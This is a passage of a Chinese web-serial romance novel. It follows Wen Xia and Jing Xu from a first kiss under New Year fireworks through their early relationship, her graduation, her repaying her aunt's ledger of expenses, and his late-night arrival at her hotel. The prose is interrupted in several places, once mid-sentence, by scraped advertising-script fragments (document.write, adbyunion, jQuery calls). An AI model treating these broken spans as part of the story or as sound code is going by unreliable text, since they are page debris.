他们花了十来分钟把剩下的食物消灭完,又聊了几句,就起身道别。 房间里很快只剩温夏和景栩。 景栩抬起手腕看了眼宇舶,原本要送她回去的话到嘴边却变成了:“在这将就一晚?现在过去太晚了。” 温夏体谅他今晚喝了酒,恰逢节日代驾也不好找,便应下来。 窗外的烟花还在放,快要将整个天空铺满。 那扇巨大的落地窗像一个画框,将烟花炸开的瞬间框住。 景栩挽起袖子,打算收拾干净聚会过后的狼藉。 温夏想要帮忙被拒绝了,他让她先去客卧休息。 温夏没好意思真的去休息,就只好坐在沙发上和元宝玩,也顺便和景栩聊聊天。 聊了没几句,她想离景栩更近些,就抱着元宝去了落地窗前的地毯上盘腿坐下。 景栩花了将近一个小时将狼藉打扫好,去厨房给她煮了杯红糖水,又去卧室给她拿了家居毯。端酒红糖水出来时,他鬼使神差地去将客厅的灯关掉了,只留了沙发旁的那盏弧形状的落地灯。 他借着烟花和落地灯的光走到她身边,也学着她的模样在象灰色羊毛地毯上盘腿坐下。 他们挨得很近,近得温夏能隐隐感受到他的体温。在烟花停歇的间隙,她甚至可以听见房间里两道交缠的呼吸。 烟火仍在继续,映得两人面孔时明时暗。 不远处的落地灯发出柔和浅淡的光。 不知道是出于默契还是别的什么,两人都没说话。 房间越发安静。 更显暧昧横生。 温夏从他关灯的那一瞬间就心跳加速,到现在他们手臂贴着手臂,心跳更是不听话。 她觉得时间的流速刚刚好,这样的暧昧也刚好。 和他这样坐着即使什么都不做,她也不觉得时间被浪费。 即使是浪费,她也愿意花一生的时间陪他浪费。 不知道过去多久,他听见景栩的声音。 像是带着某种克制的低喃:“夏夏。” “……” “其实你都记得吧?” 他没有明说记得什么,温夏却福至心灵地了然。 她在黑暗里红了脸,却默不作声。 景栩知道她是默认,又说:“那……要不要试试?” 温夏大脑完全空白了,茫然地问:“什么?” 默了几秒,景栩身体稍稍侧向她,一手撑在身侧,一手扣住她纤长的脖颈,然后整个人凑过来。 两人额头相抵,她听见他微粗的呼吸声。 两秒后,他的手指放在她唇瓣上轻挲,手掌几乎覆住她半张脸。 他嗓音比平日还要低,带着某种不具名的诱惑问: “不是说我看起来很好亲,要不要试试?” 39. 猫薄荷 他说完就没再有动作,温夏脸发烫,本能地摇头。 烟火短暂地停止了。 雪却纷纷扬扬地落了下来。 只是屋内的人,此时都没功夫在意窗外的景色。 景栩用鼻尖轻触着她的鼻尖,似带着请求:“夏夏,你不想亲我吗?” 他音量极低,夹杂着刻意伪装的委屈,温夏脑海里忽然闪过刚才元宝跟她要猫条时的模样。 他身上的橡木苔味,像猫薄荷勾着元宝一样勾着她。 她遵循内心,视线在他脸上定格两秒,而后微微点头。 温夏点头的下一瞬他就吻上去。 元宝就在这时识趣儿地跑开。 唇瓣相触时的那份柔软即刻触发电流,很快遍布全身,麻得她手指蜷曲,无意识扣着地毯。 窗外响起烟花炸开的声音,她听见自己血液里也有相同的响动,噼里啪啦的,热闹得很。 她呆愣地看着景栩,他闭着眼,睫毛鸦羽似的乖顺地垂着,窗外烟花的光亮将他的脸映得更加深邃立体。 景栩察觉到她没回应,睁开了眼,脑袋往后退开了些,笑着同她商量:“夏夏,闭个眼呗?” 还没等温夏有反应,他又说:“还是说……夏夏喜欢看我接吻的样子?” “……” 她此刻也没有多余的精力多想,也没办法像景栩一样说那些令人脸热的话。赶紧乖乖闭上眼睛。 她听见景栩极浅地闷笑一声,而后她感受到景栩的呼吸越来越近,两道温热缓慢交织。她意识逐渐回笼,手主动攀上他的脖颈,青涩地回应着他的吻。 他吻得极为温柔,温夏心里小猫挠似的痒。 这个吻并没有持续多久,随着烟花的彻底停息而结束了。 景栩的唇停在她耳边,嗓音磁沉:“夏夏真美。” 他想看看她更美的模样——汗涔涔地勾着他、求着他不让他离开的模样。 景栩这个想法冒出一瞬便竭力压了下去,然后在心里默默骂了自己一句“真不是东西”。 温夏不知道,在她闭眼后,让他闭眼的人却悄悄睁了眼。 各色烟火映照下的温夏比平时更美,他全程看完了她被他亲的浑身发软双颊微红的样子。 温夏很容易害羞,她把脸埋进他胸口。 景栩回抱着她,感受着她的体温,替她将碎发别到耳后,低声问:“夏夏谈过恋爱吗?” 温夏声音轻得可怜:“没有。” “那——”景栩将语速放缓,“要不要跟我刷个恋爱经验?” 温夏脸皮薄,没立刻答应,而是转了个弯:“看你表现吧。” “啊——”景栩故意拖长尾调,“夏夏这是嫌弃我技术不好。” “那再亲会儿?” 这次他没再等温夏回答,手指微曲勾住她的下巴,稍稍往上用力,在他们四目相对那一瞬就吻住她的唇。 此时不再有烟花炸开的声音,温夏的感官就变得十分敏感,好像所有感受都被无限放大了。 她听着他们呼吸交缠的声音,感受着景栩的舌尖在她唇角留下的涟漪,也明显地听见因接吻而发出的细微而又无比暧昧的啧啧声,景栩指尖滚烫,不知是故意还是无意从她下颌处划过,烫得她心惊胆战…… 他把她抱到沙发上,落地灯柔和的灯光默入他的发丝,露出一副委屈小狗的模样,在她脖子上轻蹭。 温夏呼吸都有些不稳:“你干嘛?” 他抬头看她:“要个名分。” “不给。” 温夏发现,这段时间在景栩面前,她胆子大了不少。 甚至有时候工作忙起来,都能给景栩甩脸色了。 景栩瘪着嘴问:“为什么,宝宝?” 这句宝宝听得她头皮发麻,别过脸不看他,然后控诉:“渣男。” “啊?” “都还没答应做你女朋友,你刚刚就……”温夏说不下去,“不是渣男是什么?” “冤枉啊。”景栩笑着,“我可没有抱着别人又亲又舔的。” “……” 这些话被他直白地说出来,不经逗的温夏立刻红了脸。 她推开他起身:“我要休息了。” 景栩没再逼着她给名分,只站起身说:“晚安。” 温夏走出去几步,又转身回来,一步一步挪到他面前,仰头看他:“晚安。” “晚安。” “男朋友。” 她说完就跑进了客卧,小兔子似的。 关上门手放在心脏处顺着,做了好几次深呼吸,然后开启了碎碎念模式:“你看人家景栩多淡定,温夏,你也淡定点。” 隔了几分钟发现自己没办法淡定。 她把自己藏进被子里,没一会儿裹着被子翻来翻去,像炸油条似的。 而实际上,景栩也比她好不了多少。听到这个称呼,他瞳孔放大,站在原地久久缓不过神来。 她明明什么都没做,只是用在平常不过的语气说了句“晚安男朋友”,就撩得他手足无措。 像是心神被勾走了没被还回来。 缓过神来后,他看向十分钟前被她紧紧关上的客卧门,拿出手机,点开唯一置顶,给她回了一条:【晚安,女朋友。】 温夏看完消息,原本笼罩着她的倦意一扫而空,但或许某种遥不可及的东西终于被她触碰,她很快睡着。 且今晚是她十几年以来,难得的一个好觉。 景栩却是怎么都睡不着,甚至爬起来举了半小时哑铃都毫无困意。他尝试过数羊,但越数越清醒。 温夏送他的礼物,他进房间时就顺手拿进来了。 他已经拆开了,是他常穿品牌的经典款围巾。 他嘴角的笑没消失过,今晚他已经无数次回味她唇瓣的温度和甘甜。 那是他从来没有过的感觉,他暂时也想不到词语形容。如果非要形容,那就是——他悉心浇灌多年却迟迟不开花的种子终于长出了花苞。 那种感觉,等同于花苞长出来那一瞬带给他的冲击与惊喜。 他将围巾仔细地叠好,放在电脑前拍了几张照片,之后想想还是连带着礼物盒一起拍了进去。 最后似乎又觉得力度不够,万一他们没注意温夏送的礼物盒可怎么办?想了想,他干脆直接套在脖子上,找了各种角度自拍了几张,又对镜拍了几张。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >拍完精挑细选了一张看起来并不刻意的发了朋友圈。 配文是:女朋友送的,很喜欢。 他的朋友们都是夜猫子,要么熬夜赶方案,要么通宵达旦喝酒唱K。 很快朋友圈底下多了几条评论和一堆赞。 宋陆鸣评论了一个感叹号后,直接聊天框信息轰炸: 【???】 【????】 【操?】 【你玩游戏输了?】 【你选了大冒险?】 发完又觉得拿感情开玩笑不是景栩的作风,花了两分钟接受了“景栩找到对象了”的事实: 【我靠,这么多年了你终于想通了?】 【哪家姑娘没长眼看上你了?】 【什么时候带出来见见?】 【我就说你最近都约不出来了,还以为你在搞事业,没想到你在谈恋爱!】 【什么时候谈的?】 【今天怎么没带过来见见?】 【……】 到最后似乎懒得等景栩回复,他干脆一个电话打进来。 宋陆鸣在感情方面算是经验丰富,在一系列的震惊问句之后,大概能猜出来景栩朋友圈提及的“女朋友”是谁。 只是,再仔细想想又觉得两人似乎不太有可能。主要是温夏太淡了,丝毫没表现出对景栩的特别。而景栩一向对感情方面的事又不太上心……两人实在不像会有发展的样子。 思及此,他又担心他们之间那些暧昧泡泡是自己在乱想。 干脆直接打电话求证。 如果温夏和景栩真能走到一块儿,也是美事一桩。 景栩像是知道他想问什么,在电话接通的那一瞬间就直接说了三个字:“是温夏。” “……” 宋陆鸣听完他略带炫耀的话,默了几秒后缓慢吐了个脏字。 他断定现在从景栩嘴里除了秀恩爱,撬不出来其他话来,于是毅然决然挂了电话。 今晚景栩收到许多老友的消息,有的远在大洋彼岸,也没忍住冲他打听。 他没多说,只说是个很可爱的姑娘。 他不确定温夏是不是会愿意活在他的朋友们讨论的中心,所以暂时将她保护起来。 他不多说,他们也没越线多问,说了句祝福的话就没再说什么。 - 景栩从说想追她后,每天雷打不动送温夏去上班,但今天不同,今天是景栩作为男朋友第一次送她。 在温夏下车前,他不要脸地索吻:“作为男朋友,连个告别吻都没有吗?” 温夏唇线崩直,竟十分配合地凑过去在他唇角处落下一吻。她没想到景栩抬手按住了她的后脑勺,将这个吻加深。 结束时她照了照镜子。 口红都给她亲花了。 于是瞪着眼又吻上去,报复似的咬在他嘴唇上。最终还是没舍得用力就松开了,那点劲儿跟调情似的。 她咬完就开了车门一路小跑进了公司。 景栩看着她的背影有些好笑。 温夏这一整天心情都很好,就连时常气的假头套掉落的主管多给她派了活儿、开会的时候故意找她茬她都没计较。 40. 绿玫瑰 之后很长一段时间,温夏每天的时间几乎都被挤满。 她之前翻的一个小短剧在国外小火了一把,编辑部那边给她的剧本也因此多了起来。每天都泡在翻译、校对、润色的循环里。往往是这个剧本还没翻完,那个剧本就又递过来了。 景栩那边似乎也忙极了,趁着假期,他们团队跑学校的时间多了起来,经过多方协商,近期才和校方确定了最终的设计方案。 确认方案后,景栩就住在了工作室,想抓紧时间拿出设计草图,和施工团队进行技术交底,对方也好尽早安排施工。 即使忙得抽不开身,景栩仍会那天接送温夏上下班。她几次表示可以不用这么麻烦,她坐地铁很方便。他每次都乖乖应下,第二天又准时出现在宿舍楼下和公司门口。 今天是半个月来难得准时下班的日子,景栩回家洗了个澡后就出发去接温夏。 温夏校对完手上的剧本,正好收到景栩的消息。 她拿上包小跑到电梯口,出了电梯后一路小跑着到景栩身边。 天气还未转暖,他仍给她带了热饮暖手。 以往她接过热饮,他就会顺手给她开副驾的门。 今天却不同,他弯腰抱住她,下巴搁在她的肩膀,冲她撒娇:“抱一下。” 温夏不明所以,没拿着热饮的那只手抬起,轻拍着他的后背:“怎么了?” “没事儿。”景栩说着已经直起身体,替她整理了围巾,“宣誓一下主权。” 温夏没听懂,没开口他又说话了:“上车了。” 温夏坐上副驾,才透过车窗看到站在公司门口的陈博。 陈博之前确实在追求她,甚至在聚餐时不顾她的意愿,也不顾她是否尴尬,当着许多同事的面只给她一个人买了热美式。 她当时顾及着同事情分,没直接拒绝,接过了那杯咖啡。 当晚等同事们都走了之后,她单独找了陈博,将那被热美式的钱转给了他,并且清楚地表示自己有喜欢的人,希望他不要再做这些无谓的事情。 那时候她还不知道自己会和景栩在一起,只是单纯地觉得,即使和景栩没有任何未来,她也不想随便找一个人将就。 之后陈博不止一次对她表示过好感,送过不少礼物,即使温夏没有任何回应也从未间断。 后来温夏说自己已经有男朋友,他仍坚持了一段时间。直到最近才渐渐没在温夏面前刷存在感了。 想起之前景栩还问过她和陈博的关系……温夏脑海里闪过一句话——景栩吃醋了。 温夏转头看向他,带着试探问:“吃醋了啊?” 景栩眉半挑着,起了逗她的心思:“是啊,吃醋了,打算怎么哄我?” 温夏也没想到他承认的如此坦荡,顿住。 景栩没再逗她,“晚上什么安排?” 温夏意识回笼:“改论文。” “先去吃饭。” 景栩带温夏去了一家日料店。这家店是前几天同事刷短视频时分享给温夏的,温夏看完视频后随手发给了景栩。 她还记得同事说这家店虽然才开业小半年,但选址在租金贵得吓人的地段,据说厨师也是专门从国外请的,加上营销宣传,噱头做得很足,所以很难约,一般得提前一周。 她问景栩:“你提前打过电话了?” “没有。”有人替他们推开了原木色的推拉门,景栩牵着她的手走进去,“宋陆鸣的店,不用预约。” 侍者给他们拿了两份菜单,之后又端来烧酒,说了句“请慢用”后退了出去。 温夏没什么胃口,加上导师发回来的论文上批注似乎有点多,她更没食欲了。 她随意看了眼菜单,没有特别想吃的,看向景栩:“你随便点吧。” 景栩按着她平常的习惯,缓缓开口:“前菜就一份蔬菜沙拉,一份星鳗寿司、牛肉寿喜烧和刺身拼盘,加一份考银杏……甜品想要什么?” 温夏眨眼:“红豆羊羹吧。” 他合上菜单,转头说:“暂时就这些。” 温夏刚才进来时看到人挺多,做好了等很久的准备。 没想到上菜极快。 也是,宋陆鸣的店。 景栩过来,估计后厨给开了个贵宾通道。 景栩拿起酱汁浇在烤得金黄的寿司上,先给她递了一个,在刺身拼盘里选了会儿,在鲷鱼上抹了萝卜泥,也递给了她:“尝尝。” 温夏尝了一口。 得出“贵有贵的道理”的结论,她立刻又要了一份醋饭和山葵。 房间内暖气开得足,空调将浓郁的香味吹得飘满各个角落。温夏的食欲被彻底勾了起来。 点的东西她吃了大半,连带着景栩的那份饭后甜品都进了她的肚子。 吃完她才发觉这个问题。 天天和景栩一起吃饭,胃被养大了些。就连余清都说她最近胃口很好,饭量比之前大了不少,气色看起来也比之前红润许多。 昨晚和格格视频通话,格格也说她比之前胖了点儿。 吃完饭,景栩把她带回了住处。 停好车后他们没直接从地库乘电梯去楼上,而是十指紧扣散了会儿步。 沿街是商铺,马路边也有小摊儿。 温夏说,这座城市白天冷冰冰的,从傍晚开始就有了烟火气。 有个十七八岁模样的姑娘走到他们面前,笑容甜甜:“哥哥,给女朋友买束花吧。” 景栩才惊觉,他送过她许多小玩意儿,唯独没有送过她花。 杜嫄之前拒绝别人的理由是:“恋爱要有仪式感,至少告白的时候得有束花,我不喜欢空手套白狼的人。” 温夏拉着他要走,他却在篮子里认真挑选起来,然后他发现自己竟然不知道她的喜好。于是只好朝她投去求助的眼神。 温夏抽出一支苏格兰绿玫瑰:“这个吧。” 景栩付了钱,走了几步问:“喜欢这个?” 温夏觉得没必要撒谎:“没有什么特别喜欢的,都差不多,刚好看它顺眼,随手拿了。” 景栩只说了声知道了。 因为温夏还要改论文,他们没逛太久。 即使温夏不常过来,这里还是不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 可避免地有了她的生活痕迹。 浴室里有了她专属的洗漱用品;她上次来月经换下来的裙子和睡衣洗干净了挂在景栩的衣柜里;在清一色的灰色客用拖鞋里,只有一双梧枝绿,和景栩的一起放在玄关鞋柜的最顶格;一开始她睡的那间客卧,景栩按照她的喜欢重新布置了一番——多了不少绿色元素的摆件,窗帘也换成了绿色系的——现在已经变成了她的专属房间。 温夏去浴室冲了个澡,出来时没在客厅看到景栩,大概是在书房弄毕业设计。 她吹干了头发,拿出电脑打开,盘腿坐在沙发上开始按照批注修改论文。 她也不知道自己改了多久,也不知道自己是什么时候困的,反正就这么趴在茶几上睡着了。 景栩出来时看到她安静趴着,轻轻走过去,看了眼电脑屏幕,她已经改得差不多了。 于是动作极轻地将修改好的文档保存,关了电脑,才弯腰将她横抱起来。 温夏被他弄醒,动作迅速地看了眼电脑,景栩被她逗笑:“放心,保存了。” 温夏这才安心靠在他身上,“要是没保存,我就徒手把你天灵盖儿拧下来。” 她刚醒,声音轻轻软软的,毫无威慑力。 景栩笑出声:“这么残暴呢?” “嗯。”温夏脑袋蹭了蹭他,“不过保存了,你可以不用死了。” 景栩笑意越发明显。 景栩刚把她抱进房间,她圈住他脖子的手忽然微微收紧。 景栩轻声问:“怎么了?” 她脸凑过去,在他唇角亲了亲:“这么哄你,行不行?” 景栩低头看她,大概是刚睡醒的缘故,她眼睛像是氤氲了一层雾气,有几根发丝懒懒散散地搭在脸颊,衬得她比平时多了几分妩媚。 偏她素着一张小脸,毫无攻击性,看起来却更加动人。 景栩喉结无意识滑动,喉咙里挤出一声笑:“还记得呢?” 温夏“嗯”了声,她想起之前孙洁妮谈恋爱的时的状态,因为吃醋而和男朋友吵架。明明一开始她并不想吵架,但发展到最后却闹得两个人都不开心:“我看吃醋的人都不太开心,我不想你不开心。” 没想到是这个理由,景栩直接愣在原地。 他缓过神来,动作温柔地把她放到床上,轻声解释:“夏夏,我没有不开心。” 温夏闻言“嗯”了声,或许是太累,她没再多说什么,很快睡着了。 景栩感受到她呼吸均匀才起身,关灯前深深地看了她一眼。 他好像不是一个称职的男朋友,因为她在自己面前好像永远是小心翼翼的,没办法真正做自己。 其实他很早之前就意识到了这个问题,但他直到现在也没有想明白为什么。 在别人面前的她,想笑就笑,虽然看上去一副好脾气,但想拒绝一些不合理要求的时候她也会坚决拒绝。 但面对他的时候,她好像把那一面藏了起来。 他们之间似乎隔着一层纱,透过这层透明的薄纱,他们可以清晰地看到彼此,却没办法真正地、完全地触摸对方。 41. 像木偶 答辩时间是五月底,五月中旬时,温夏的室友们都回来了,寝室又重新热闹起来。 她们像约定好一样,在同一天回来。 由于床许久没人睡,她们回来的第一件事,是换干净的床单被罩,然后收拾行李、打扫卫生。 看着发生的一幕幕,温夏恍惚间以为回到了刚开学报道那天。 只是那天她们是为了在这方寸之地长久生活而做准备,而这一次,短居之后便是长久的告别。 看着她们各自忙碌,温夏眼眶温热。 因为之前和孙洁妮闹过矛盾,所以每个人都心照不宣地没开口。这样的氛围和刚来报道那天完全不同。 有时候陈湘和孙洁妮需要走同一条道,气氛立刻变得剑拔弩张,谁都不肯让着谁。 温夏和朱源松都没出声劝阻。 这样的场景,她们谁都不愿意看见,但也谁都没办法改变什么。 说白了她们都成年了,吵架是选择,选择视而不见不站队也是。 寝室每天都被沉默的气氛充斥着,就这么到了答辩时间。 她们的答辩时间都被安排在早上,最晚结束答辩的是孙洁妮,但也才上午十点。 孙洁妮回来立刻收拾行李,收拾完立刻给男朋友拨去电话,语气不悦:“你怎么还不到?我发给你的答辩时间表你没看?” 那边不知道说了什么,孙洁妮无力地说了声“知道了”就掐断电话,而后戴着耳机开始追剧。 意思很明显,她拒绝任何聊天。 寝室门没关,此时已经有很多人推着行李箱从门口经过了。还有一些人高声商量着今天的约拍要带几件衣服。 从四月下旬天气转暖开始,校园里就多了许多摄影师。 很多人在拍完学校统一请的摄影师拍的毕业照后,和好友或室友约拍了毕业写真,满校园的拍。 原本她们宿舍也有这个计划。 但这计划之后没人再提起过。 陈湘问温夏:“六月十号前毕业生必须全部搬走,你找到房子了吗?” 温夏摇头:“还在看,看了很多,要么就是租金太贵,要么就是离上班的地方太远。” 回来这么久,陈湘第一次提起温夏的男朋友:“你那个开大G的男朋友呢?不行就开口让他帮帮忙,不丢脸。” 温夏抿着唇没回答。 她也知道找景栩帮忙是最快、最省力的方式。可是她固执地,不想跟他在金钱上牵扯太多。 她害怕他们之间的不平等。 但这些话她没法说。 说出来显得矫情。 朱源松把话头接过去:“不过夏夏不是保研了吗,可以直接搬去研究生宿舍住。双人间的小公寓,羡慕死了。” “也是,我都忘了这茬。”陈湘说,“话说回来,今晚带我们见见?我们再怎么说也算半个娘家人吧。” 温夏无奈:“他回学校了,他们的毕业答辩也差不多是的这几天。” 陈湘面露失望之色,但很快将此事抛之脑后。 孙洁妮大概一时半会儿等不到男朋友来接,收起耳机起身,不知道出去干嘛。 这会儿也到午饭时间,其余三人在她走后没多久也出门了。 朱源松和陈湘都是买了晚上七点的高铁票,这是她们的最后一顿,是散伙饭。 陈湘说,从云九香开始的,就从云九香结束。 于是三个人手挽手聊着天奔云九香去了。 学校去云九香不远,几个人大概想一起多待些时光,决定步行过去。 走出学校,陈湘看到孙洁妮,她说了声“晦气”就加快步伐。 没想到在转头的一瞬间,看到她被人打了一巴掌。 她没多想,朝着孙洁妮冲过去。 和她同一时刻冲过来的还有温夏和朱源松。 陈湘直接推了一把打孙洁妮的女生:“干什么呢你?” 温夏和朱源松将孙洁妮护在身后。 打人的女生挽着孙洁妮的男朋友:“这么多人帮你啊?但没用啊。知道你男朋友为什么没来学校接你吗?你给他打电话的时候他正在我床上呢。” 陈湘实在听不下去:“小三啊?还是知三当三,知道人家有对象还往上凑,是什么值得骄傲的事吗? “就这男的,狗见了都得吐两口唾沫,也就你当个宝。不过也是,狗见了屎也像你这么扑。” 打人的女生气急败坏,想对陈湘动手。 孙洁妮及时出声:“你巴掌扇过来试试。还想体面点就带着你的垃圾男人滚。艺术系的清纯系花,你猜,深夜约会富商这事儿曝光,你还会不会像现在一样众星捧月?” 孙洁妮的男朋友听到这话立刻不淡定了:“你说你只有我!” 两人开始了新一轮的战争,陈湘带着宿舍的人小跑着远离了这个是非之地。 孙洁妮一向不善运动,最先停下来。 陈湘见状也停下:“怎么回事儿?和我吵的时候不是挺厉害的。” 孙洁妮把有巴掌印的那半边脸侧过去:“谁让你多管闲事了。” 陈湘“切”一声:“行,我就当路见不平帮个了白眼狼。” 她说完,看向温夏:“夏夏,你帮我问问白眼狼要不要跟我们去吃散伙饭。” 孙洁妮没绷住笑了:“有病啊你。” 陈湘恢复平时耍宝搞怪的样子:“是啊有病。妮妮公主才能治,公主赏脸跟我们一起吃个饭呗?” 四个人又恢复了之前的相处模式,和开学报道那天一样,打打闹闹着一起到了云九香。 这顿饭吃得很慢,平日里急性子的陈湘今天吃得尤其慢,恨不得一个煮鱼丸分十几口吃。 她们刻意放慢语速聊着彼此以后的规划,也聊这四年来的相处。 但时间并没有因她们的不舍而停下,她们必须的速战速决,然后回宿舍拿行李去高铁站了。 孙洁妮、陈湘、朱源松三人从宿舍一起走的。 四个人从云九香回宿舍的路上都一言不发。 温夏没送她们,她们也没让温夏送。 四个人都心照不宣,她们都不想看到彼此流泪。 就连打车去高铁站,一向节省的三个人这次都没拼车,各自上了一辆出租。 分开前还是一句话没说。 她们都清楚,即使把“多联系”说几千遍,之后也不会实现。 之后的她们,会分布在天南海北,很难再有聚在一起的机会。然后被生活和工作拖累,多联系也会逐渐成为奢侈。 她们会在不同的地方,开始不同的新生活。 四个人开始了某种奇怪的默契。 ——她们的眼角几乎在同一时刻,滑落了一滴泪。 然后,哭成狗。 温夏冷静下来,觉得自己这些年毫无进步。 明明从小就开始经历别离,却仍没办法把自己变成一个相对没有感情的人。 她不知道这算好事还是坏事。 她想找景栩,但想到前天还挺他说毕设遇到了些麻烦,她又想,还是不要打扰他了。 五月底已经进入初夏,但到晚上空气还裹挟着凉意。 她觉得现在这个状态,不能待在这么安静的环境,于是穿上外套,打算在学校里随意逛一逛。 她漫无目的地逛着,不知不觉间走到了常去的那家甜品店。 她犹豫两秒走了进去。 蛋糕房每天烘焙的蛋糕都不多,几乎都是当天给处理掉。 现在店里已经不剩什么了,只剩下一个八寸的草莓蛋糕还孤零零地摆在橱窗里。 她买了蛋糕,然后拿去田径场。田径场这会儿夜跑的人多,还有跳广场舞的。 她找了个相对安静的角落坐下,然后拍了一张蛋糕的照片发给了景栩。 景栩那边没立刻回,等他回消息的时候,她已经回宿舍洗完澡了。 景栩给她打了个视频电话。这个电话似乎也没什么目的,只是和她闲聊。 他说今天发生的趣事,说他们的毕业答辩安排在了一周后,这段时间可能都得呆在学校了。 温夏眉眼低垂,也和他聊了些今天发生的事。 但隐去了一些令人神伤的事儿。 景栩问她租房的事儿怎么样了,她也不知道自己在坚持什么,只说让他不要担心,也暂时不用帮她什么。 景栩的房子离她上班的地方近,他曾说可以暂时住他那里,等找到房子再搬走,温夏不出意料给拒绝了。 他也没再强求。 温夏能察觉到景栩因为自己的拒绝而有些不高兴,但一直到他们结束通话,她都没改口请求他帮忙。 答辩的最终成绩一周后出了,学院把毕业典礼安排在答辩出成绩当天,但整个学院只有不到三分之二的人出席。 温夏在毕业典礼开始前接到景栩的电话,他说自己最近也很忙,实在脱不开身,对不能参加她的毕业典礼表示抱歉。 温夏还没来得及说没关系,就看到了林婆婆。 与此同时,林婆婆也看到了她。 青外是林婆婆的母校,杰出校友墙上还贴着她的照片。 温夏以为她是作为嘉宾来的,没想到景栩说:“我没办法赶过来,只好拜托外婆来陪陪她的未来孙媳妇儿了。” 温夏热泪在眼眶打转,她没来得及说谢谢,景栩那边就说有事匆匆把电话挂了。 温夏跑到林婆婆身边,林婆婆还给她带了束花,和她翻译的第一本文学书。 林婆婆对她说:“毕业快乐。” 林婆婆说,景栩本来想把他父母也叫过来,但怕她有压力,他们就没过来。 但托林婆婆将毕业礼物带了过来。 温夏被感动得不知说什么好,词穷到一个劲儿说谢谢。 林婆婆捏了捏她的脸,好像她真是她亲孙女一样:“傻孩子。” 毕业典礼中午结束,林婆婆说要找老友叙叙旧,想带上她一起。但今天要交纸质论文装订,温夏就没去成。 温夏把林婆婆送到行政楼后,去打印店打印了四份论文。她将这四份论文交给学委后,买了回树阳的票。 飞机、高铁和火车都没有直达的,温夏先坐飞机到了市里,再乘了将近两个小时的火车,到余庆巷时,已经晚上八点。 她在巷口遇到从菜市场回来的大伯。 许久不见,他好像比记忆中老了不少。看到温夏的时候他愣了一下:“回来了,怎么也不说一声,我开车去接你。” 温夏敛眸,将他手里的菜篮接过来:“火车站过来也不麻烦。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>温诚听懂了,她这是不想过多麻烦自己,叹了口气:“一家人哪有麻烦不麻烦的。” 温夏这次回来什么都没带,只背了一个只能装点小东西的斜挎包,温诚知道她没打算多待:“什么时候回去?” “不知道。” 她不是敷衍了事,而是真的不知道。 今天来参加毕业典礼的家长不少,她原本没有回来的计划,但看到很多人的长辈陪着他们拍毕业照,她站在操场上,就冲动订了票。 所以才什么都没带。 两人一路沉默着到了家。 家里没人,大伯母估计又是在后街那家理发店打牌。 大伯在厨房忙活,温夏帮忙洗点菜。 期间两人都毫无交流。 大伯打算煲个排骨汤,盖上锅盖后,他看着温夏,忽然说:“毕业快乐。” 温夏的心脏像是被抓紧一瞬,喉咙处像是堵着什么东西。 所以他知道今天是她的毕业典礼,但他们连个电话都没有。 她也很想,像其他人一样,在人生的重要时候,有家人的见证。 温夏知道不该奢求什么,但还是忍不住难过。 房间里的沉默无限拉长,此时赵雁蓉回来了。 赵雁蓉看见温夏,立刻进入战斗状态,她拔高音调:“毕业了回来还钱的吧?” 一句话把温夏心底里那一丝丝感性彻底磨灭,她努力调整着情绪:“是,您不是有一个账本吗,拿出来算一算吧。” 大伯打着圆场:“都是一家人,这是干什么?” 赵雁蓉音量拔高了几个度:“你要替别人养孩子那是你的事,我的钱必须得还!” 温夏闭了闭眼,不想再听下去:“算吧。” 赵雁蓉走进卧室,没多久会到客厅,把一个扉页泛黄的笔记本丢给她:“你这些年的每一笔花销,都在上面了,一清二楚。” 温夏看着那一串数字觉得讽刺,她在这个家那么多年,一共才花了21000.99元,其中很大一部分还是高中学费。 账目清晰,有零有整。 她自己记的那本上还多了一笔,是林婆婆住院,她在店里拿的那一篮水果。 温夏这些年攒了不少,奖学金和兼职挣的钱足够还这笔钱。 她立刻把这笔钱转到了温诚的支付宝里。 温诚也不知道怎么处理逐渐变僵的气氛,好半天憋出一句:“先吃饭,先吃饭……” 温夏看他一眼,“大伯,谢谢您这么多年来的照顾。我就先告辞了,有时间再来看您。” 温诚想说现在有点晚了,她一个女孩子家不安全,要走到哪里去。 但终究没说出口,赵雁蓉瞪了他一眼,他就一句话都没说了。 温夏走后,温诚少见地跟赵雁蓉叫板:“那这些年她给悦悦也转了不少,那些钱你怎么不算?算上的话,她早就还清了,甚至你还得退她点儿差价!” 赵雁蓉讥笑一声:“你现在装上好人了,有本事你把钱转回去给她啊!” 温诚立刻偃旗息鼓了。 温夏强撑着走出了单元楼,走出余庆巷。 她像一个木偶,漫无目的在街上游荡。 不知道什么时候下起了雨,她来不及找遮蔽物,衣衫被雨淋湿。 所幸雨不大,倒是没湿多少。 她躲雨的马路对面就是酒店,她跑过去时一脚踩在了泥泞里,白色的鞋袜染上了些污泥。 温夏付完钱,拿到房卡开门后,没来得及将卡插进卡槽,整个人就像被抽开了所有的支撑点,软趴趴地靠着门滑了下去。 那一瞬,她像是被抽干了所有的精气神。 她不知道自己那样坐了多久,直到手机振动个不停。 是景栩打来的电话,打了好几个了。 看未接来电的时间,她在飞机上的时候,他也打了几个。 她有气无力地滑动了接听键。 她想喊景栩的名字,却发现自己连张嘴的力气都没有。 景栩没听到她说话,察觉到了不对劲:“你在哪?” 他仍没等到她的回答,“温夏,微信发个定位给我。” 她费力点开微信,发送了实时位置。 她不想让景栩担心:“我在树阳,没事儿。刚才手机静音了,所以没接到你电话。” 景栩嗯了声:“酒店的房间号是多少?” “8812。” “把门锁好。很晚了,好好休息。” 她不想挂电话,但又觉得这样让他陪自己多说说话又有点矫情,沉默半晌只会了句:“你也是。” 她完全没力气动,就这么靠着房门睡着了。 她以为自己睡了很久,但看了眼手机上的时间,她不过才睡了四十分钟。 她毫无困意,就这么呆坐着。 快凌晨四点的时候,她手机屏幕亮了一下。 这么晚了,景栩给她发消息干嘛? 她点开看,只有简单的两个字:【开门。】 看着这两个字,她心跳如鼓擂。 立刻站起来,开了门。 她看到景栩的那一瞬间,胸腔里各种复杂的情绪开始叫嚣,然后慢慢滋生出委屈。 她酝酿许久,委屈地乞求:“景栩,抱。” 42. 对不起 曾有人说,爱是由无数个瞬间拼凑起来的。 